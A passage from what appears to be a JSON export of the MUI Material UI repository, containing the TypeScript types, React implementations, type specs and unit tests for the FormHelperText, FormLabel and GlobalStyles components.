the helper text should use required classes key.\n   */\n  required?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   */\n  variant?:\n    | OverridableStringUnion<\n        'standard' | 'outlined' | 'filled',\n        FormHelperTextPropsVariantOverrides\n      >\n    | undefined;\n}\n\nexport interface FormHelperTextTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'p',\n> {\n  props: AdditionalProps & FormHelperTextOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Number Field](https://next.mui.com/material-ui/react-number-field/)\n * - [Text Field](https://next.mui.com/material-ui/react-text-field/)\n *\n * API:\n *\n * - [FormHelperText API](https://next.mui.com/material-ui/api/form-helper-text/)\n */\ndeclare const FormHelperText: OverridableComponent<FormHelperTextTypeMap>;\n\nexport type FormHelperTextProps<\n  RootComponent extends React.ElementType = FormHelperTextTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<FormHelperTextTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default FormHelperText;\n"
  },
  {
    "path": "packages/mui-material/src/FormHelperText/FormHelperText.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport formControlState from '../FormControl/formControlState';\nimport useFormControl from '../FormControl/useFormControl';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport formHelperTextClasses, { getFormHelperTextUtilityClasses } from './formHelperTextClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, contained, size, disabled, error, filled, focused, required } = ownerState;\n  const slots = {\n    root: [\n      'root',\n      disabled && 'disabled',\n      error && 'error',\n      size && `size${capitalize(size)}`,\n      contained && 'contained',\n      focused && 'focused',\n      filled && 'filled',\n      required && 'required',\n    ],\n  };\n\n  return composeClasses(slots, getFormHelperTextUtilityClasses, classes);\n};\n\nconst FormHelperTextRoot = styled('p', {\n  name: 'MuiFormHelperText',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.size && styles[`size${capitalize(ownerState.size)}`],\n      ownerState.contained && styles.contained,\n      ownerState.filled && styles.filled,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    color: (theme.vars || theme).palette.text.secondary,\n    ...theme.typography.caption,\n    textAlign: 'left',\n    marginTop: 3,\n    marginRight: 0,\n    marginBottom: 0,\n    marginLeft: 0,\n    [`&.${formHelperTextClasses.disabled}`]: {\n      color: (theme.vars || theme).palette.text.disabled,\n    },\n    [`&.${formHelperTextClasses.error}`]: {\n      color: (theme.vars || theme).palette.error.main,\n    },\n    variants: [\n      {\n        props: {\n          size: 'small',\n        },\n        style: {\n          marginTop: 4,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.contained,\n        style: {\n          marginLeft: 14,\n          marginRight: 14,\n        },\n      },\n    ],\n  })),\n);\n\nconst FormHelperText = React.forwardRef(function FormHelperText(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiFormHelperText' });\n  const {\n    children,\n    className,\n    component = 'p',\n    disabled,\n    error,\n    filled,\n    focused,\n    margin,\n    required,\n    variant,\n    ...other\n  } = props;\n\n  const muiFormControl = useFormControl();\n  const fcs = formControlState({\n    props,\n    muiFormControl,\n    states: ['variant', 'size', 'disabled', 'error', 'filled', 'focused', 'required'],\n  });\n\n  const ownerState = {\n    ...props,\n    component,\n    contained: fcs.variant === 'filled' || fcs.variant === 'outlined',\n    variant: fcs.variant,\n    size: fcs.size,\n    disabled: fcs.disabled,\n    error: fcs.error,\n    filled: fcs.filled,\n    focused: fcs.focused,\n    required: fcs.required,\n  };\n\n  // This issue explains why this is required: https://github.com/mui/material-ui/issues/42184\n  delete ownerState.ownerState;\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <FormHelperTextRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      {...other}\n      ownerState={ownerState}\n    >\n      {children === ' ' ? (\n        // notranslate needed while Google Translate will not fix zero-width space issue\n        <span className=\"notranslate\" aria-hidden>\n          &#8203;\n        </span>\n      ) : (\n        children\n      )}\n    </FormHelperTextRoot>\n  );\n});\n\nFormHelperText.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   *\n   * If `' '` is provided, the component reserves one line height for displaying a future message.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the helper text should be displayed in a disabled state.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, helper text should be displayed in an error state.\n   */\n  error: PropTypes.bool,\n  /**\n   * If `true`, the helper text should use filled classes key.\n   */\n  filled: PropTypes.bool,\n  /**\n   * If `true`, the helper text should use focused classes key.\n   */\n  focused: PropTypes.bool,\n  /**\n   * If `dense`, will adjust vertical spacing. This is normally obtained via context from\n   * FormControl.\n   */\n  margin: PropTypes.oneOf(['dense']),\n  /**\n   * If `true`, the helper text should use required classes key.\n   */\n  required: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['filled', 'outlined', 'standard']),\n    PropTypes.string,\n  ]),\n};\n\nexport default FormHelperText;\n"
  },
  {
    "path": "packages/mui-material/src/FormHelperText/FormHelperText.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport FormHelperText, { FormHelperTextProps } from '@mui/material/FormHelperText';\n\nconst CustomComponent: React.FC<{ stringProp: string; numberProp: number }> =\n  function CustomComponent() {\n    return <div />;\n  };\n\nconst props1: FormHelperTextProps<'div'> = {\n  component: 'div',\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLDivElement>, typeof event>(event);\n  },\n};\n\nconst props2: FormHelperTextProps = {\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLParagraphElement>, typeof event>(event);\n  },\n};\n\nconst props3: FormHelperTextProps<typeof CustomComponent> = {\n  component: CustomComponent,\n  stringProp: '2',\n  numberProp: 2,\n};\n\nconst props4: FormHelperTextProps<typeof CustomComponent> = {\n  component: CustomComponent,\n  stringProp: '2',\n  numberProp: 2,\n  // @ts-expect-error CustomComponent does not accept incorrectProp\n  incorrectProp: 3,\n};\n\n// @ts-expect-error missing props\nconst props5: FormHelperTextProps<typeof CustomComponent> = {\n  component: CustomComponent,\n};\n\nconst TestComponent = () => {\n  return (\n    <React.Fragment>\n      <FormHelperText />\n      <FormHelperText component={'a'} href=\"/test\" />\n\n      <FormHelperText component={CustomComponent} stringProp=\"s\" numberProp={1} />\n      {\n        // @ts-expect-error missing props\n        <FormHelperText component={CustomComponent} />\n      }\n      <FormHelperText\n        component=\"span\"\n        onChange={(event) => {\n          expectType<React.ChangeEvent<HTMLSpanElement>, typeof event>(event);\n        }}\n      />\n    </React.Fragment>\n  );\n};\n"
  },
  {
    "path": "packages/mui-material/src/FormHelperText/FormHelperText.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport FormHelperText, { formHelperTextClasses as classes } from '@mui/material/FormHelperText';\nimport FormControl from '@mui/material/FormControl';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<FormHelperText />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<FormHelperText />, () => ({\n    classes,\n    inheritComponent: 'p',\n    render,\n    refInstanceof: window.HTMLParagraphElement,\n    testComponentPropWith: 'div',\n    muiName: 'MuiFormHelperText',\n    testVariantProps: { size: 'small' },\n  }));\n\n  describe('prop: error', () => {\n    it('should have an error class', () => {\n      const { container } = render(<FormHelperText error />);\n      expect(container.firstChild).to.have.class(classes.error);\n    });\n  });\n\n  describe('with FormControl', () => {\n    ['error', 'disabled'].forEach((visualState) => {\n      describe(`${visualState}`, () => {\n        function FormHelperTextInFormControl(props) {\n          return (\n            <FormControl {...{ [visualState]: true }}>\n              <FormHelperText {...props}>Foo</FormHelperText>\n            </FormControl>\n          );\n        }\n\n        it(`should have the ${visualState} class`, () => {\n          render(<FormHelperTextInFormControl>Foo</FormHelperTextInFormControl>);\n\n          expect(screen.getByText(/Foo/)).to.have.class(classes[visualState]);\n        });\n\n        it('should be overridden by props', () => {\n          const { setProps } = render(\n            <FormHelperTextInFormControl {...{ [visualState]: false }}>\n              Foo\n            </FormHelperTextInFormControl>,\n          );\n\n          expect(screen.getByText(/Foo/)).not.to.have.class(classes[visualState]);\n\n          setProps({ [visualState]: true });\n          expect(screen.getByText(/Foo/)).to.have.class(classes[visualState]);\n        });\n      });\n    });\n\n    describe('size', () => {\n      describe('small margin FormControl', () => {\n        it('should have the small class', () => {\n          render(\n            <FormControl size=\"small\">\n              <FormHelperText>Foo</FormHelperText>\n            </FormControl>,\n          );\n\n          expect(screen.getByText(/Foo/)).to.have.class(classes.sizeSmall);\n        });\n      });\n\n      it('should be overridden by props', () => {\n        function FormHelperTextInFormControl(props) {\n          return (\n            <FormControl size=\"medium\">\n              <FormHelperText {...props}>Foo</FormHelperText>\n            </FormControl>\n          );\n        }\n\n        const { setProps } = render(<FormHelperTextInFormControl>Foo</FormHelperTextInFormControl>);\n\n        expect(screen.getByText(/Foo/)).not.to.have.class(classes.sizeSmall);\n        setProps({ size: 'small' });\n        expect(screen.getByText(/Foo/)).to.have.class(classes.sizeSmall);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/FormHelperText/formHelperTextClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface FormHelperTextClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `variant=\"filled\"` or `variant=\"outlined\"`. */\n  contained: string;\n  /** State class applied to the root element if `focused={true}`. */\n  focused: string;\n  /** State class applied to the root element if `filled={true}`. */\n  filled: string;\n  /** State class applied to the root element if `required={true}`. */\n  required: string;\n}\n\nexport type FormHelperTextClassKey = keyof FormHelperTextClasses;\n\nexport function getFormHelperTextUtilityClasses(slot: string): string {\n  return generateUtilityClass('MuiFormHelperText', slot);\n}\n\nconst formHelperTextClasses: FormHelperTextClasses = generateUtilityClasses('MuiFormHelperText', [\n  'root',\n  'error',\n  'disabled',\n  'sizeSmall',\n  'sizeMedium',\n  'contained',\n  'focused',\n  'filled',\n  'required',\n]);\n\nexport default formHelperTextClasses;\n"
  },
  {
    "path": "packages/mui-material/src/FormHelperText/index.d.ts",
    "content": "export { default } from './FormHelperText';\nexport * from './FormHelperText';\n\nexport { default as formHelperTextClasses } from './formHelperTextClasses';\nexport * from './formHelperTextClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormHelperText/index.js",
    "content": "export { default } from './FormHelperText';\n\nexport { default as formHelperTextClasses } from './formHelperTextClasses';\nexport * from './formHelperTextClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormLabel/FormLabel.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps, OverridableTypeMap } from '../OverridableComponent';\nimport { FormLabelClasses } from './formLabelClasses';\n\nexport interface FormLabelPropsColorOverrides {}\n\n/**\n * This type is kept for compatibility. Use `FormLabelOwnProps` instead.\n */\nexport type FormLabelBaseProps = React.LabelHTMLAttributes<HTMLLabelElement>;\n\nexport interface FormLabelOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.LabelHTMLAttributes<HTMLLabelElement>['children'] | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<FormLabelClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        FormLabelPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the label should be displayed in a disabled state.\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the label is displayed in an error state.\n   */\n  error?: boolean | undefined;\n  /**\n   * If `true`, the label should use filled classes key.\n   */\n  filled?: boolean | undefined;\n  /**\n   * If `true`, the input of this label is focused (used by `FormGroup` components).\n   */\n  focused?: boolean | undefined;\n  /**\n   * If `true`, the label will indicate that the `input` is required.\n   */\n  required?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface FormLabelTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'label',\n> {\n  props: AdditionalProps & FormLabelBaseProps & FormLabelOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Checkbox](https://next.mui.com/material-ui/react-checkbox/)\n * - [Number Field](https://next.mui.com/material-ui/react-number-field/)\n * - [Radio Group](https://next.mui.com/material-ui/react-radio-button/)\n * - [Switch](https://next.mui.com/material-ui/react-switch/)\n *\n * API:\n *\n * - [FormLabel API](https://next.mui.com/material-ui/api/form-label/)\n */\ndeclare const FormLabel: OverridableComponent<FormLabelTypeMap>;\n\nexport interface ExtendFormLabelTypeMap<TypeMap extends OverridableTypeMap> {\n  props: TypeMap['props'] & Pick<FormLabelOwnProps, 'filled' | 'color'>;\n  defaultComponent: TypeMap['defaultComponent'];\n}\n\nexport type FormLabelProps<\n  RootComponent extends React.ElementType = FormLabelTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<FormLabelTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default FormLabel;\n"
  },
  {
    "path": "packages/mui-material/src/FormLabel/FormLabel.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport formControlState from '../FormControl/formControlState';\nimport useFormControl from '../FormControl/useFormControl';\nimport capitalize from '../utils/capitalize';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport formLabelClasses, { getFormLabelUtilityClasses } from './formLabelClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, color, focused, disabled, error, filled, required } = ownerState;\n  const slots = {\n    root: [\n      'root',\n      `color${capitalize(color)}`,\n      disabled && 'disabled',\n      error && 'error',\n      filled && 'filled',\n      focused && 'focused',\n      required && 'required',\n    ],\n    asterisk: ['asterisk', error && 'error'],\n  };\n\n  return composeClasses(slots, getFormLabelUtilityClasses, classes);\n};\n\nexport const FormLabelRoot = styled('label', {\n  name: 'MuiFormLabel',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [\n      styles.root,\n      ownerState.color === 'secondary' && styles.colorSecondary,\n      ownerState.filled && styles.filled,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    color: (theme.vars || theme).palette.text.secondary,\n    ...theme.typography.body1,\n    lineHeight: '1.4375em',\n    padding: 0,\n    position: 'relative',\n    variants: [\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            [`&.${formLabelClasses.focused}`]: {\n              color: (theme.vars || theme).palette[color].main,\n            },\n          },\n        })),\n      {\n        props: {},\n        style: {\n          [`&.${formLabelClasses.disabled}`]: {\n            color: (theme.vars || theme).palette.text.disabled,\n          },\n          [`&.${formLabelClasses.error}`]: {\n            color: (theme.vars || theme).palette.error.main,\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst AsteriskComponent = styled('span', {\n  name: 'MuiFormLabel',\n  slot: 'Asterisk',\n})(\n  memoTheme(({ theme }) => ({\n    [`&.${formLabelClasses.error}`]: {\n      color: (theme.vars || theme).palette.error.main,\n    },\n  })),\n);\n\nconst FormLabel = React.forwardRef(function FormLabel(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiFormLabel' });\n  const {\n    children,\n    className,\n    color,\n    component = 'label',\n    disabled,\n    error,\n    filled,\n    focused,\n    required,\n    ...other\n  } = props;\n\n  const muiFormControl = useFormControl();\n  const fcs = formControlState({\n    props,\n    muiFormControl,\n    states: ['color', 'required', 'focused', 'disabled', 'error', 'filled'],\n  });\n\n  const ownerState = {\n    ...props,\n    color: fcs.color || 'primary',\n    component,\n    disabled: fcs.disabled,\n    error: fcs.error,\n    filled: fcs.filled,\n    focused: fcs.focused,\n    required: fcs.required,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <FormLabelRoot\n      as={component}\n      ownerState={ownerState}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      {...other}\n    >\n      {children}\n      {fcs.required && (\n        <AsteriskComponent ownerState={ownerState} aria-hidden className={classes.asterisk}>\n          &thinsp;{'*'}\n        </AsteriskComponent>\n      )}\n    </FormLabelRoot>\n  );\n});\n\nFormLabel.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['error', 'info', 'primary', 'secondary', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the label should be displayed in a disabled state.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the label is displayed in an error state.\n   */\n  error: PropTypes.bool,\n  /**\n   * If `true`, the label should use filled classes key.\n   */\n  filled: PropTypes.bool,\n  /**\n   * If `true`, the input of this label is focused (used by `FormGroup` components).\n   */\n  focused: PropTypes.bool,\n  /**\n   * If `true`, the label will indicate that the `input` is required.\n   */\n  required: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default FormLabel;\n"
  },
  {
    "path": "packages/mui-material/src/FormLabel/FormLabel.test.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { expect } from 'chai';\nimport { act, createRenderer, screen } from '@mui/internal-test-utils';\nimport FormLabel, { formLabelClasses as classes } from '@mui/material/FormLabel';\nimport FormControl, { useFormControl } from '@mui/material/FormControl';\nimport { hexToRgb } from '@mui/material/styles';\nimport defaultTheme from '../styles/defaultTheme';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<FormLabel />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<FormLabel />, () => ({\n    classes,\n    inheritComponent: 'label',\n    render,\n    refInstanceof: window.HTMLLabelElement,\n    testComponentPropWith: 'div',\n    muiName: 'MuiFormLabel',\n    testVariantProps: { color: 'secondary' },\n  }));\n\n  describe('prop: required', () => {\n    it('should visually show an asterisk but not include it in the a11y tree', () => {\n      const { container } = render(<FormLabel required>name</FormLabel>);\n\n      expect(container.querySelector('label')).to.have.text('name\\u2009*');\n      expect(container.querySelectorAll(`.${classes.asterisk}`)).to.have.lengthOf(1);\n      expect(container.querySelectorAll(`.${classes.asterisk}`)[0]).toBeInaccessible();\n    });\n\n    it('should not show an asterisk by default', () => {\n      const { container } = render(<FormLabel>name</FormLabel>);\n\n      expect(container.querySelector('label')).to.have.text('name');\n      expect(container.querySelectorAll(`.${classes.asterisk}`)).to.have.lengthOf(0);\n    });\n  });\n\n  describe('prop: error', () => {\n    it('should have an error class', () => {\n      const { container } = render(<FormLabel required error />);\n\n      expect(container.querySelectorAll(`.${classes.asterisk}`)).to.have.lengthOf(1);\n      expect(container.querySelector(`.${classes.asterisk}`)).to.have.class(classes.error);\n      expect(container.querySelectorAll(`.${classes.asterisk}`)[0]).toBeInaccessible();\n      expect(container.firstChild).to.have.class(classes.error);\n    });\n  });\n\n  describe('with FormControl', () => {\n    describe('error', () => {\n      function Wrapper(props) {\n        return <FormControl error {...props} />;\n      }\n\n      it(`should have the error class`, () => {\n        const { container } = render(<FormLabel />, {\n          wrapper: Wrapper,\n        });\n\n        expect(container.querySelector('label')).to.have.class(classes.error);\n      });\n\n      it('should be overridden by props', () => {\n        const { container, setProps } = render(\n          <FormLabel data-testid=\"FormLabel\" error={false} />,\n          {\n            wrapper: Wrapper,\n          },\n        );\n\n        expect(container.querySelector('label')).not.to.have.class(classes.error);\n\n        setProps({ error: true });\n        expect(container.querySelector('label')).to.have.class(classes.error);\n      });\n    });\n\n    describe('focused', () => {\n      const FormController = React.forwardRef((_, ref) => {\n        const formControl = useFormControl();\n        React.useImperativeHandle(ref, () => formControl, [formControl]);\n        return null;\n      });\n\n      it(`should have the focused class`, () => {\n        const formControlRef = React.createRef();\n        const { container } = render(\n          <FormControl error>\n            <FormLabel data-testid=\"FormLabel\" />\n            <FormController ref={formControlRef} />\n          </FormControl>,\n        );\n\n        expect(container.querySelector('label')).not.to.have.class(classes.focused);\n\n        act(() => {\n          formControlRef.current.onFocus();\n        });\n        expect(container.querySelector('label')).to.have.class(classes.focused);\n      });\n\n      it('should be overridden by props', () => {\n        const formControlRef = React.createRef();\n        function Wrapper({ children }) {\n          return (\n            <FormControl error>\n              {children}\n              <FormController ref={formControlRef} />\n            </FormControl>\n          );\n        }\n        Wrapper.propTypes = { children: PropTypes.node };\n        const { container, setProps } = render(<FormLabel data-testid=\"FormLabel\" />, {\n          wrapper: Wrapper,\n        });\n        act(() => {\n          formControlRef.current.onFocus();\n        });\n\n        expect(container.querySelector('label')).to.have.class(classes.focused);\n\n        setProps({ focused: false });\n        expect(container.querySelector('label')).not.to.have.class(classes.focused);\n\n        setProps({ focused: true });\n        expect(container.querySelector('label')).to.have.class(classes.focused);\n      });\n    });\n\n    describe('required', () => {\n      it('should show an asterisk', () => {\n        const { container } = render(\n          <FormControl required>\n            <FormLabel>name</FormLabel>\n          </FormControl>,\n        );\n\n        expect(container).to.have.text('name\\u2009*');\n      });\n\n      it('should be overridden by props', () => {\n        const { container, setProps } = render(<FormLabel required={false}>name</FormLabel>, {\n          wrapper: (props) => <FormControl required {...props} />,\n        });\n\n        expect(container).to.have.text('name');\n\n        setProps({ required: true });\n        expect(container).to.have.text('name\\u2009*');\n      });\n    });\n  });\n\n  describe('prop: color', () => {\n    it('should have color secondary class', () => {\n      const { container } = render(<FormLabel color=\"secondary\" />);\n      expect(container.firstChild).to.have.class(classes.colorSecondary);\n    });\n\n    it('should have the focused class and style', () => {\n      const { container } = render(<FormLabel data-testid=\"FormLabel\" color=\"secondary\" focused />);\n      expect(container.querySelector(`.${classes.colorSecondary}`)).to.have.class(classes.focused);\n      expect(screen.getByTestId('FormLabel')).toHaveComputedStyle({\n        color: hexToRgb(defaultTheme.palette.secondary.main),\n      });\n    });\n\n    it('should have the error class and style, even when focused', () => {\n      const { container } = render(\n        <FormLabel data-testid=\"FormLabel\" color=\"secondary\" focused error />,\n      );\n      expect(container.querySelector(`.${classes.colorSecondary}`)).to.have.class(classes.error);\n      expect(screen.getByTestId('FormLabel')).toHaveComputedStyle({\n        color: hexToRgb(defaultTheme.palette.error.main),\n      });\n    });\n\n    it('should have the disabled class and style, even when focused', () => {\n      const { container } = render(\n        <FormLabel data-testid=\"FormLabel\" color=\"secondary\" focused disabled />,\n      );\n      expect(container.querySelector(`.${classes.colorSecondary}`)).to.have.class(classes.disabled);\n      expect(screen.getByTestId('FormLabel')).toHaveComputedStyle({\n        color: defaultTheme.palette.text.disabled,\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/FormLabel/formLabelClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface FormLabelClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if the color is secondary. */\n  colorSecondary: string;\n  /** State class applied to the root element if `focused={true}`. */\n  focused: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n  /** State class applied to the root element if `filled={true}`. */\n  filled: string;\n  /** State class applied to the root element if `required={true}`. */\n  required: string;\n  /** Styles applied to the asterisk element. */\n  asterisk: string;\n}\n\nexport type FormLabelClassKey = keyof FormLabelClasses;\n\nexport function getFormLabelUtilityClasses(slot: string): string {\n  return generateUtilityClass('MuiFormLabel', slot);\n}\n\nconst formLabelClasses: FormLabelClasses = generateUtilityClasses('MuiFormLabel', [\n  'root',\n  'colorSecondary',\n  'focused',\n  'disabled',\n  'error',\n  'filled',\n  'required',\n  'asterisk',\n]);\n\nexport default formLabelClasses;\n"
  },
  {
    "path": "packages/mui-material/src/FormLabel/index.d.ts",
    "content": "export { default } from './FormLabel';\nexport * from './FormLabel';\n\nexport { default as formLabelClasses } from './formLabelClasses';\nexport * from './formLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormLabel/index.js",
    "content": "export { default } from './FormLabel';\nexport * from './FormLabel';\n\nexport { default as formLabelClasses } from './formLabelClasses';\nexport * from './formLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/GlobalStyles/GlobalStyles.d.ts",
    "content": "import { GlobalStylesProps as StyledGlobalStylesProps } from '@mui/system';\nimport { Theme } from '../styles';\n\nexport interface GlobalStylesProps {\n  /**\n   * The styles you want to apply globally.\n   */\n  styles: StyledGlobalStylesProps<Theme>['styles'];\n}\n\n/**\n *\n * Demos:\n *\n * - [How to customize](https://next.mui.com/material-ui/customization/how-to-customize/)\n *\n * API:\n *\n * - [GlobalStyles API](https://next.mui.com/material-ui/api/global-styles/)\n */\nexport default function GlobalStyles(props: GlobalStylesProps): React.ReactElement<unknown>;\n"
  },
  {
    "path": "packages/mui-material/src/GlobalStyles/GlobalStyles.js",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport { GlobalStyles as SystemGlobalStyles } from '@mui/system';\nimport defaultTheme from '../styles/defaultTheme';\nimport THEME_ID from '../styles/identifier';\n\nfunction GlobalStyles(props) {\n  return <SystemGlobalStyles {...props} defaultTheme={defaultTheme} themeId={THEME_ID} />;\n}\n\nGlobalStyles.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The styles you want to apply globally.\n   */\n  styles: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.array,\n    PropTypes.func,\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n    PropTypes.bool,\n  ]),\n};\n\nexport default GlobalStyles;\n"
  },
  {
    "path": "packages/mui-material/src/GlobalStyles/GlobalStyles.spec.tsx",
    "content": "import GlobalStyles from '@mui/material/GlobalStyles';\n\nfunction TestThemeType() {\n  <GlobalStyles\n    styles={(theme) => ({\n      [theme.breakpoints.up('sm')]: { color: theme.palette.primary.main },\n    })}\n  />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/GlobalStyles/GlobalStyles.test.js",
